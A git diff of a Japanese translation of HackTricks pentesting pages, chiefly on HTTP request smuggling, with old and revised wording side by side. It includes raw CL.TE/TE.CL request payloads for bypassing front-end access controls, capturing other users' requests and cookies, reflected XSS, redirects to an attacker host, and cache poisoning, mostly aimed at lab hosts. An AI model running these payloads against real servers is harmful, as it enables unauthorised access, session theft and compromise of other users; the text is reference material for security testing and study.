## HTTPリクエストスマグリングの発見
|
||||
|
||||
HTTPリクエストスマグリングの脆弱性を特定することは、サーバーが操作されたリクエストにどれくらいの時間で応答するかを観察するタイミング技術を使用してしばしば達成できます。これらの技術は、CL.TEおよびTE.CLの脆弱性を検出するのに特に有用です。これらの方法以外にも、このような脆弱性を見つけるために使用できる他の戦略やツールがあります。
|
||||
HTTPリクエストスマグリングの脆弱性を特定することは、サーバーが操作されたリクエストにどれくらいの時間で応答するかを観察することに依存するタイミング技術を使用してしばしば達成できます。これらの技術は、CL.TEおよびTE.CLの脆弱性を検出するのに特に役立ちます。これらの方法以外にも、このような脆弱性を見つけるために使用できる他の戦略やツールがあります。
|
||||
|
||||
### タイミング技術を使用してCL.TE脆弱性を見つける
|
||||
- **方法:**
|
||||
- 脆弱性がある場合、バックエンドサーバーが追加のデータを待機するようにするリクエストを送信します。
|
||||
- **例:**
|
||||
|
||||
* **方法:**
|
||||
* 脆弱性がある場合、バックエンドサーバーが追加のデータを待機するようにするリクエストを送信します。
|
||||
* **例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -177,18 +192,19 @@ Content-Length: 4
|
|||
A
|
||||
0
|
||||
```
|
||||
- **観察:**
|
||||
- フロントエンドサーバーは`Content-Length`に基づいてリクエストを処理し、メッセージを途中で切り捨てます。
|
||||
- バックエンドサーバーは、チャンク形式のメッセージを期待しており、到着しない次のチャンクを待機することで遅延が発生します。
|
||||
|
||||
- **指標:**
|
||||
- 応答にタイムアウトや長い遅延がある。
|
||||
- バックエンドサーバーから400 Bad Requestエラーを受信し、場合によっては詳細なサーバー情報が含まれています。
|
||||
* **観察:**
|
||||
* フロントエンドサーバーは`Content-Length`に基づいてリクエストを処理し、メッセージを途中で切り捨てます。
|
||||
* バックエンドサーバーは、チャンク形式のメッセージを期待しており、到着しない次のチャンクを待機し、遅延を引き起こします。
|
||||
* **指標:**
|
||||
* 応答にタイムアウトや長い遅延がある。
|
||||
* バックエンドサーバーから400 Bad Requestエラーを受信し、場合によっては詳細なサーバー情報が含まれています。
|
||||
|
||||
### タイミング技術を使用してTE.CL脆弱性を見つける
|
||||
- **方法:**
|
||||
- 脆弱性がある場合、バックエンドサーバーが追加のデータを待機するようにするリクエストを送信します。
|
||||
- **例:**
|
||||
|
||||
* **方法:**
|
||||
* 脆弱性がある場合、バックエンドサーバーが追加のデータを待機するようにするリクエストを送信します。
|
||||
* **例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -199,22 +215,46 @@ Content-Length: 6
|
|||
0
|
||||
X
|
||||
```
|
||||
- **観察:**
|
||||
- フロントエンドサーバーは`Transfer-Encoding`に基づいてリクエストを処理し、メッセージ全体を転送します。
|
||||
- バックエンドサーバーは、`Content-Length`に基づいたメッセージを期待しており、到着しない追加のデータを待機することで遅延が発生します。
|
||||
* **観察:**
|
||||
* フロントエンドサーバーは`Transfer-Encoding`に基づいてリクエストを処理し、メッセージ全体を転送します。
|
||||
* バックエンドサーバーは、`Content-Length`に基づいたメッセージを期待しており、到着しない追加のデータを待機し、遅延を引き起こします。
|
||||
|
||||
### 脆弱性を見つけるための他の方法
|
||||
- **差分応答解析:**
|
||||
- 異なるバージョンのリクエストをわずかに変更して送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示します。
|
||||
|
||||
- **自動化ツールの使用:**
|
||||
- Burp Suiteの 'HTTP Request Smuggler' 拡張機能のようなツールを使用して、曖昧なリクエストのさまざまな形式を送信し、応答を分析してこれらの脆弱性を自動的にテストできます。
|
||||
* **差分応答解析:**
|
||||
* 異なるバージョンのリクエストをわずかに変更して送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示す。
|
||||
* **自動化ツールの使用:**
|
||||
* Burp Suiteの 'HTTP Request Smuggler' 拡張機能のようなツールを使用して、曖昧なリクエストのさまざまな形式を送信し、応答を分析してこれらの脆弱性を自動的にテストできます。
|
||||
* **Content-Lengthの変動テスト:**
|
||||
* 実際のコンテンツ長さと一致しない`Content-Length`値を持つリクエストを送信し、サーバーがそのような不一致をどのように処理するかを観察します。
|
||||
* **Transfer-Encodingの変動テスト:**
|
||||
* 曖昧または不正な`Transfer-Encoding`ヘッダーを持つリクエストを送信し、フロントエンドサーバーとバックエンドサーバーがそのような操作に対して異なる方法で応答するかを監視します。
|
||||
|
||||
- **Content-Lengthの変動テスト:**
|
||||
- 実際のコンテンツ長さと一致しない`Content-Length`値を持つリクエストを送信し、サーバーがそのような不一致をどのように処理するかを観察します。
|
||||
### HTTPリクエストスマグリング脆弱性のテスト
|
||||
|
||||
- **Transfer-Encodingの変動テスト:**
|
||||
- 曖昧または不正な`Transfer-Encoding`ヘッダーを持つリクエストを送信し、フロントエンドサーバーとバックエンドサーバーがそのような操作に対して異なる方法で応答するかを監視します。
|
||||
タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。たとえば、リクエストを毒することで、`/`へのリクエストが404応答を返すようにするなど、簡単な方法があります。[基本例](./#basic-examples)で以前に議論された`CL.TE`および`TE.CL`の例は、クライアントのリクエストを毒する方法を示しており、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き起こす方法を示しています。
|
||||
|
||||
**主な考慮事項**
|
||||
|
||||
他のリクエストに干渉してリクエストスマグリングの脆弱性をテストする際には、次の点に注意してください:
|
||||
|
||||
* **異なるネットワーク接続:** "攻撃"と "通常" のリクエストは別々のネットワーク接続経由で送信する必要があります。両方に同じ接続を使用すると、脆弱性の存在が検証されません。
|
||||
* **一貫したURLとパラメータ:** 両方のリクエストに同一のURLとパラメータ名を使用するようにしてください。現代のアプリケーションでは、URLとパラメータに基づいて特定のバックエンドサーバーにリクエストをルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーで処理される可能性が高まり、成功するための前提条件となります。
|
||||
* **タイミングと競合条件:** "攻撃" リクエストからの干渉を検出するために意図された "通常" リクエストは、他の同時アプリケーションリクエストと競合します。したがって、"通常" リクエストは "攻撃" リクエストの直後に送信してください。忙しいアプリケーションでは、確定的な脆弱性確認のために複数の試行が必要になる場合があります。
|
||||
* **負荷分散の課題:** フロントエンドサーバーが負荷分散装置として機能する場合、リクエストをさまざまなバックエンドシステムに分散する可能性があります。 "攻撃" と "通常" のリクエストが異なるシステムに到達すると、攻撃は成功しません。この負荷分散の側面については、脆弱性を確認するために複数の試行が必要になる場合があります。
|
||||
* **意図しないユーザーへの影響:** 攻撃が誤って他のユーザーのリクエストに影響を与える場合(検出用に送信した "通常" リクエストではなく)、攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーに影響を与える可能性があり、慎重なアプローチが必要となる場合があります。
|
||||
|
||||
## HTTPリクエストスマグリングの悪用
|
||||
|
||||
### フロントエンドセキュリティコントロールのバイパス
|
||||
|
||||
### HTTPリクエストスマグリングを使用してフロントエンドセキュリティを回避する
|
||||
|
||||
時々、フロントエンドプロキシは着信リクエストを検査し、セキュリティ対策を施します。しかし、これらの対策はHTTPリクエストスマグリングを悪用することで回避され、制限されたエンドポイントへの不正アクセスが可能になります。たとえば、`/admin` へのアクセスが外部から禁止されており、フロントエンドプロキシがこのような試みを積極的にブロックしている場合でも、スマグリングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これによりこれらの制限をバイパスする隙間が生じます。
|
||||
|
||||
以下は、HTTPリクエストスマグリングを使用してフロントエンドセキュリティコントロールをバイパスする方法を具体的に示した例です。通常、フロントエンドプロキシによって保護されている `/admin` パスを特定的に対象としています:
|
||||
|
||||
**CL.TEの例**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
|
@ -231,7 +271,7 @@ Content-Length: 10
|
|||
|
||||
x=
|
||||
```
|
||||
CL.TE攻撃では、最初のリクエストには`Content-Length`ヘッダーが利用され、その後の埋め込まれたリクエストには`Transfer-Encoding: chunked`ヘッダーが利用されます。フロントエンドプロキシは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査せず、`/admin`パスへの未承認アクセスを許可します。
|
||||
CL.TE攻撃では、最初のリクエストで`Content-Length`ヘッダーが活用され、その後の埋め込まれたリクエストでは`Transfer-Encoding: chunked`ヘッダーが利用されます。フロントエンドプロキシは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査せず、`/admin`パスへの未承認アクセスを許可します。
|
||||
|
||||
**TE.CLの例**
|
||||
```
|
||||
|
@ -249,11 +289,11 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
逆に、TE.CL攻撃では、最初の`POST`リクエストで`Transfer-Encoding: chunked`を使用し、後続の埋め込まれたリクエストは`Content-Length`ヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシはスマグルされた`GET /admin`リクエストを見落とし、誤って制限された`/admin`パスへのアクセスを許可します。
|
||||
逆に、TE.CL攻撃では、最初の`POST`リクエストは`Transfer-Encoding: chunked`を使用し、後続の埋め込まれたリクエストは`Content-Length`ヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシは密輸された`GET /admin`リクエストを見落とし、誤って制限された`/admin`パスへのアクセスを許可します。
|
||||
|
||||
### フロントエンドリクエストの書き換えを明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
アプリケーションはしばしば、リクエストをバックエンドサーバーに渡す前に変更するために**フロントエンドサーバー**を使用します。典型的な変更には、`X-Forwarded-For: <クライアントのIP>`などのヘッダーを追加して、クライアントのIPをバックエンドに中継することが含まれます。これらの変更を理解することは重要であり、それによって**保護をバイパス**したり、**隠された情報やエンドポイントを明らかに**する方法が明らかになる可能性があります。
|
||||
アプリケーションはしばしば、リクエストをバックエンドサーバーに渡す前に変更するために**フロントエンドサーバー**を使用します。典型的な変更には、`X-Forwarded-For: <クライアントのIP>`などのヘッダーを追加して、クライアントのIPをバックエンドに中継することが含まれます。これらの変更を理解することは重要です。なぜなら、これにより**保護をバイパス**したり、**隠された情報やエンドポイントを明らかに**する方法が明らかになる可能性があるからです。
|
||||
|
||||
プロキシがリクエストをどのように変更するかを調査するには、バックエンドが応答でエコーするPOSTパラメーターを見つけます。その後、このパラメーターを最後に使用して、次のようなリクエストを作成します。
|
||||
```
|
||||
|
@ -272,19 +312,19 @@ Content-Length: 100
|
|||
|
||||
search=
|
||||
```
|
||||
この構造では、`search=`の後に続くリクエストコンポーネントが追加され、それがレスポンスで反映されるパラメータとなります。この反映により、後続のリクエストのヘッダーが公開されます。
|
||||
この構造では、`search=`の後に続くリクエストコンポーネントが追加され、それがレスポンスで反映されるパラメータとなります。この反映により、後続リクエストのヘッダーが公開されます。
|
||||
|
||||
ネストされたリクエストの`Content-Length`ヘッダーを実際のコンテンツ長と一致させることが重要です。小さな値から始め、徐々に増やすことが望ましいです。値が低すぎると反映されるデータが切り捨てられ、値が高すぎるとリクエストがエラーになる可能性があります。
|
||||
ネストされたリクエストの`Content-Length`ヘッダーを実際のコンテンツ長と一致させることが重要です。小さな値から始め、徐々に増やすことが推奨されます。値が低すぎると反映されるデータが切り捨てられ、値が高すぎるとリクエストがエラーになる可能性があります。
|
||||
|
||||
このテクニックはTE.CL脆弱性の文脈でも適用可能ですが、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
|
||||
|
||||
この方法は、主にフロントエンドプロキシによって行われたリクエストの変更を理解するために役立ち、基本的に自己調査を行います。
|
||||
この方法は、主にフロントエンドプロキシによるリクエストの変更を理解し、基本的に自己調査を行うことを目的としています。
|
||||
|
||||
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
次のユーザーのリクエストをキャプチャすることが可能で、POST操作中に特定のリクエストをパラメータの値として追加することで実現できます。以下は、これを達成する方法です:
|
||||
次のユーザーのリクエストをキャプチャすることは可能であり、POST操作中に特定のリクエストをパラメータの値として追加することで実現できます。以下は、これを達成する方法です:
|
||||
|
||||
以下のリクエストをパラメータの値として追加することで、後続のクライアントのリクエストを保存できます:
|
||||
以下のリクエストをパラメータの値として追加することで、後続クライアントのリクエストを保存できます:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
|
@ -304,18 +344,18 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
このシナリオでは、**comment parameter** は、公開されたページのコメントセクション内のコンテンツを保存するために意図されています。したがって、次のリクエストの内容はコメントとして表示されます。
|
||||
このシナリオでは、**comment parameter** は、公開されたページのコメントセクション内のコンテンツを格納するために意図されています。したがって、次のリクエストのコンテンツはコメントとして表示されます。
|
||||
|
||||
ただし、このテクニックには制限があります。一般的に、スマグルされたリクエストで使用されるパラメーター区切り記号までのデータのみをキャプチャします。URLエンコードされたフォーム送信の場合、この区切り記号は `&` 文字です。これは、被害者ユーザーのリクエストからキャプチャされたコンテンツが最初の `&` で停止することを意味します。これはクエリ文字列の一部である可能性さえあります。
|
||||
ただし、このテクニックには制限があります。一般的に、スマグルされたリクエストで使用されるパラメーター区切り記号までのデータのみをキャプチャします。URLエンコードされたフォームの送信では、この区切り記号は `&` 文字です。これは、被害者ユーザーのリクエストからキャプチャされたコンテンツが最初の `&` で停止することを意味します。これはクエリ文字列の一部である可能性さえあります。
|
||||
|
||||
さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。このような場合、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は検索パラメーターに追加されます。
|
||||
さらに、TE.CL 脆弱性がある場合、このアプローチも有効であることに注意する価値があります。この場合、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は検索パラメーターに追加されます。
|
||||
|
||||
### 反射型XSSを悪用するためにHTTPリクエストスマグリングを使用する
|
||||
### 反射型XSSを悪用するためのHTTPリクエストスマグリングの使用
|
||||
|
||||
HTTPリクエストスマグリングを利用して、**反射型XSS** に脆弱なWebページを悪用することができ、次の利点があります:
|
||||
|
||||
* ターゲットユーザーとのやり取りが**不要**です。
|
||||
* 通常到達不可能なリクエストの一部でXSSを悪用することができます。例:HTTPリクエストヘッダー。
|
||||
* 通常は到達不可能なリクエストの一部でXSSを悪用することができます。例えば、HTTPリクエストヘッダー。
|
||||
|
||||
User-Agentヘッダーを介して反射型XSSに脆弱なウェブサイトのシナリオでは、次のペイロードがこの脆弱性を悪用する方法を示しています:
|
||||
```
|
||||
|
@ -341,8 +381,8 @@ A=
|
|||
このペイロードは、以下の手順で脆弱性を悪用するために構築されています:
|
||||
|
||||
1. `Transfer-Encoding: chunked`ヘッダーを含む、一見通常の`POST`リクエストを開始し、スマグリングの開始を示す。
|
||||
2. `0`を続け、チャンクメッセージボディの終了をマークする。
|
||||
3. 次に、スマグリングされた`GET`リクエストが導入され、`User-Agent`ヘッダーにスクリプト`<script>alert(1)</script>`が挿入され、サーバーがこの後続リクエストを処理する際にXSSをトリガーする。
|
||||
2. `0`を続け、チャンク形式のメッセージボディの終わりをマークする。
|
||||
3. 次に、スマグリングされた`GET`リクエストが導入され、`User-Agent`ヘッダーにスクリプト`<script>alert(1)</script>`がインジェクトされ、サーバーがこの後続リクエストを処理する際にXSSをトリガーする。
|
||||
|
||||
`User-Agent`をスマグリングを通じて操作することで、通常のリクエスト制約をバイパスし、非標準だが効果的な方法で反射型XSS脆弱性を悪用します。
|
||||
|
||||
|
@ -350,17 +390,17 @@ A=
|
|||
|
||||
### HTTPリクエストスマグリングを使用したオンサイトリダイレクトの悪用<a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
アプリケーションは、リダイレクトURLで`Host`ヘッダーからホスト名を使用して別のURLにリダイレクトすることがよくあります。これは、ApacheやIISなどのWebサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダをリクエストすると、スラッシュを含むリダイレクトが発生します。
|
||||
アプリケーションは、リダイレクトURL内の`Host`ヘッダーからホスト名を使用して、しばしば1つのURLから別のURLにリダイレクトします。これは、ApacheやIISなどのWebサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダをリクエストすると、スラッシュを含むリダイレクトが発生します。
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
```
|
||||
結果:
|
||||
結果は:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
この振る舞いは無害に見えますが、HTTPリクエストスマグリングを使用してユーザーを外部サイトにリダイレクトするように操作することができます。例:
|
||||
以下は、HTTPリクエストスマグリングを使用してユーザーを外部サイトにリダイレクトするために操作できる可能性がある、見かけ上は無害な動作です。例:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -374,29 +414,29 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
この密輸されたリクエストにより、次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる可能性があります。
|
||||
次に処理されるユーザーのリクエストが攻撃者が制御するウェブサイトにリダイレクトされる可能性がある、この密輸されたリクエストは次のものです:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: XGET /scripts/include.js HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
```
|
||||
結果:
|
||||
結果は:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
### HTTPリクエストスマグリングを使用してWebキャッシュポイズニングを実行する <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
### HTTPリクエストスマグリングを使用してウェブキャッシュポイゾニングを実行する <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
|
||||
### HTTPリクエストスマグリングを利用したWebキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### HTTPリクエストスマグリングを利用したウェブキャッシュポイゾニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Webキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュ**している場合に実行できます。これは通常、パフォーマンスを向上させるためです。サーバーのレスポンスを操作することで、**キャッシュをポイズン**することが可能です。
|
||||
ウェブキャッシュポイゾニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュ**している場合に実行できます。通常、パフォーマンスを向上させるためです。サーバーのレスポンスを操作することで、**キャッシュをポイズン**することが可能です。
|
||||
|
||||
以前、サーバーレスポンスを変更して404エラーを返すことができることを確認しました([基本例](./#basic-examples)を参照)。同様に、サーバーをだまして、`/static/include.js`のリクエストに対して`/index.html`のコンテンツを返すことが可能です。その結果、`/static/include.js`のコンテンツが`/index.html`のものでキャッシュされ、ユーザーが`/static/include.js`にアクセスできなくなり、拒否サービス(DoS)攻撃につながる可能性があります。
|
||||
以前、サーバーレスポンスを変更して404エラーを返すことができることを確認しました([基本例](./#basic-examples)を参照)。同様に、サーバーをだまして、`/static/include.js`のリクエストに対して`/index.html`のコンテンツを返すことが可能です。その結果、`/static/include.js`のコンテンツが`/index.html`のものでキャッシュされ、ユーザーがアクセスできなくなり、拒否サービス(DoS)攻撃につながる可能性があります。
|
||||
|
||||
このテクニックは、**オープンリダイレクト脆弱性**が発見された場合や、**オンサイトリダイレクトがオープンリダイレクトになっている**場合に特に有効です。これらの脆弱性を悪用して、`/static/include.js`のキャッシュコンテンツを攻撃者が制御するスクリプトに置き換えることが可能であり、更新された`/static/include.js`をリクエストするすべてのクライアントに対して広範囲なクロスサイトスクリプティング(XSS)攻撃を実行できます。
|
||||
このテクニックは、**オープンリダイレクト脆弱性**が発見された場合や、**オープンリダイレクトへのオンサイトリダイレクト**がある場合に特に有効です。これらの脆弱性を悪用して、`/static/include.js`のキャッシュコンテンツを攻撃者が制御するスクリプトに置き換えることが可能であり、更新された`/static/include.js`をリクエストするすべてのクライアントに対して広範なクロスサイトスクリプティング(XSS)攻撃を可能にします。
|
||||
|
||||
以下は、**オンサイトリダイレクトからオープンリダイレクトへのリダイレクトとキャッシュポイズニングの悪用**の例です。目的は、`/static/include.js`のキャッシュコンテンツを攻撃者が制御するJavaScriptコードで提供することです:
|
||||
以下は、**オンサイトリダイレクトからオープンリダイレクトへのリダイレクトとキャッシュポイズニングを悪用**する例です。目的は、`/static/include.js`のキャッシュコンテンツを攻撃者が制御するJavaScriptコードで提供することです:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
|
@ -414,11 +454,20 @@ Content-Length: 10
|
|||
|
||||
x=1
|
||||
```
|
||||
埋め込まれたリクエストは`/post/next?postId=3`を対象としています。このリクエストは、**Hostヘッダーの値**を使用してドメインを決定し、`/post?postId=4`にリダイレクトされます。攻撃者は**Hostヘッダー**を変更することで、リクエストを自身のドメインにリダイレクトできます(**オンサイトリダイレクトからオープンリダイレクトへ**)。
|
||||
埋め込まれたリクエストに注目してください。このリクエストは `/post/next?postId=3` をターゲットにしています。このリクエストは **Host ヘッダーの値** を利用して `/post?postId=4` にリダイレクトされます。攻撃者は **Host ヘッダー** を変更することで、リクエストを自身のドメインにリダイレクトできます(**オンサイトリダイレクトからオープンリダイレクトへ**)。
|
||||
|
||||
**ソケットポイズニング**が成功した後、`/static/include.js`への**GETリクエスト**を開始する必要があります。このリクエストは、前述の**オンサイトリダイレクトからオープンリダイレクト**リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
|
||||
**ソケットポイズニング** が成功した後、`/static/include.js` への **GET リクエスト** を開始する必要があります。このリクエストは、前述の **オンサイトリダイレクトからオープンリダイレクト** リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
|
||||
|
||||
その後、`/static/include.js`への任意のリクエストは、攻撃者のスクリプトのキャッシュされたコンテンツを提供し、広範なXSS攻撃を実行します。
|
||||
その後、`/static/include.js` への任意のリクエストは、攻撃者のスクリプトのキャッシュされた内容を提供し、広範な XSS 攻撃を実行します。
|
||||
|
||||
### HTTP リクエストスマグリングを使用してウェブキャッシュ欺瞞を実行する <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **ウェブキャッシュポイズニングとウェブキャッシュ欺瞞の違いは何ですか?**
|
||||
>
|
||||
> * **ウェブキャッシュポイズニング** では、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。
|
||||
> * **ウェブキャッシュ欺瞞** では、攻撃者はアプリケーションに別のユーザーの機密コンテンツをキャッシュに保存させ、その後攻撃者がこのコンテンツをキャッシュから取得します。
|
||||
|
||||
攻撃者は、機密のユーザー固有のコンテンツを取得するスマグルリクエストを作成します。以下はその例です:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -532,7 +581,8 @@ table.add(req)
|
|||
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは文法ベースのHTTP Fuzzerであり、奇妙なリクエストスマグリングの不一致を見つけるのに役立ちます。
|
||||
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは、奇妙なリクエストスマグリングの不一致を見つけるのに役立つ文法ベースのHTTP Fuzzer です。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -546,14 +596,14 @@ table.add(req)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) を**フォロー**する
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,39 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
## XMLの基礀
|
||||
|
||||
## XMLの基礎
|
||||
XMLは、データの保存と転送を目的としたマークアップ言語であり、記述的なタグの使用を可能にする柔軟な構造を特徴としています。HTMLとは異なり、事前定義されたタグに制限されていない点が異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、初期のAJAX技術での役割は大きかったです。
|
||||
|
||||
XMLは、データの格納と転送を目的としたマークアップ言語であり、記述的に名前付けられたタグの使用を可能にする柔軟な構造を特徴としています。HTMLとは異なり、事前定義されたタグに制限されていない点が異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、初期のAJAX技術での役割があります。
|
||||
|
||||
- **エンティティを通じたデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらは`<`や`>`に対応してXMLのタグシステムとの競合を避けます。
|
||||
|
||||
- **XML要素の定義**: XMLは要素タイプの定義を許可し、要素がどのように構造化され、どのようなコンテンツを含むかを明確にします。任意の種類のコンテンツから特定の子要素まで、幅広いコンテンツを含めることができます。
|
||||
|
||||
